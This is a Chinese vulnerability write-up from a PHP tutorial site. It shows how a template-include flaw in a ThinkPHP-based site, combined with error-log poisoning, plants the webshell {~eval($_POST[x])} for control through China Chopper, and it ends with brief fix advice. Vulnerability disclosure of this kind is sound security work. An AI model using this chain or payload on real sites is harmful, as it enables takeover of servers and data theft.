来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 通过本地包含直接getwebshell,直接控制整个网站权限。漏洞文件:core Lib Action Home MyAction class php?phpclass MyAction extends HomeAction{ public function index(){$this-show();}...
|
通过本地包含直接getwebshell,直接控制整个网站权限。
漏洞文件:core\Lib\Action\Home\MyAction.class.php
<?php
class MyAction extends HomeAction{
public function index(){
$this->show();
}
public function show(){
$id = !empty($_GET['id'])?$_GET['id']:'hot';
$this->display('my_'.trim($id));漏洞点
}
}
?>
包含点:
public function fetch($templateFile='',$charset='',$contentType='text/html',$display=false)
{
$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===$templateFile)
// 使用null参数作为模版名直接返回不做任何输出
return ;
if(empty($charset)) $charset = C('DEFAULT_CHARSET');
// 网页字符编码
header("Content-Type:".$contentType."; charset=".$charset);
header("Cache-control: private"); //支持页面回跳
//页面缓存
ob_start();
ob_implicit_flush(0);
if(!file_exists_case($templateFile))
// 自动定位模板文件
$templateFile = $this->parseTemplateFile($templateFile);//关键函数,只有此处对包含模板做了文件处理,我看看下这个函数。
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
if('php'==$engine) {
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
include $templateFile;
}elseif('think'==$engine && $this->checkCache($templateFile)) {
// 如果是Think模板引擎并且缓存有效 分解变量并载入模板缓存
extract($this->tVar, EXTR_OVERWRITE);
//载入模版缓存文件
include C('CACHE_PATH').md5($templateFile).C('TMPL_CACHFILE_SUFFIX');
}else{
// 模板文件需要重新编译 支持第三方模板引擎
// 调用模板引擎解析和输出
$className = 'Template'.ucwords($engine);
require_cache(THINK_PATH.'/Lib/Think/Util/Template/'.$className.'.class.php');
$tpl = new $className;
$tpl->fetch($templateFile,$this->tVar,$charset);
}
$this->templateFile = $templateFile;
// 获取并清空缓存
$content = ob_get_clean();
// 模板内容替换
$content = $this->templateContentReplace($content);
// 布局模板解析
$content = $this->layout($content,$charset,$contentType);
// 输出模板文件
return $this->output($content,$display);
}
对包含文件处理:
private function parseTemplateFile($templateFile) {
if(''==$templateFile) {
// 如果模板文件名为空 按照默认规则定位
$templateFile = C('TMPL_FILE_NAME');
}elseif(strpos($templateFile,'@')){
// 引入其它主题的操作模板 必须带上模块名称 例如 blue@User:add
$templateFile = TMPL_PATH.str_replace(array('@',':'),'/',$templateFile).C('TMPL_TEMPLATE_SUFFIX');
}elseif(strpos($templateFile,':')){
// 引入其它模块的操作模板
$templateFile = TEMPLATE_PATH.'/'.str_replace(':','/',$templateFile).C('TMPL_TEMPLATE_SUFFIX');
}elseif(!is_file($templateFile)) {
// 引入当前模块的其它操作模板
$templateFile = dirname(C('TMPL_FILE_NAME')).'/'.$templateFile.C('TMPL_TEMPLATE_SUFFIX');
}
if(!file_exists_case($templateFile))
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
return $templateFile;
}
有了包含点,我们需要一个含有我们恶意代码的文件,我们利用thinphp的错误日志记录功能:
制造错误:
![]() 日志文件:
![]() 利用上边说道的两个功能:
1.包含任意文件
2.错误写入日子
3.结合thinkphp的模板语法构造一句话为:{~eval($_POST[x])}
写入一句话:
制造错误:
![]() 日志文件:
![]() 包含一句话:
![]() 菜刀链接:
![]() 修复方案:
对于程序修复问题,如果从二次开发者的角度说,不应该让模板参数可控。
对于thinkphp的角度,在模板文件名和路径处理上需要更加完善。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com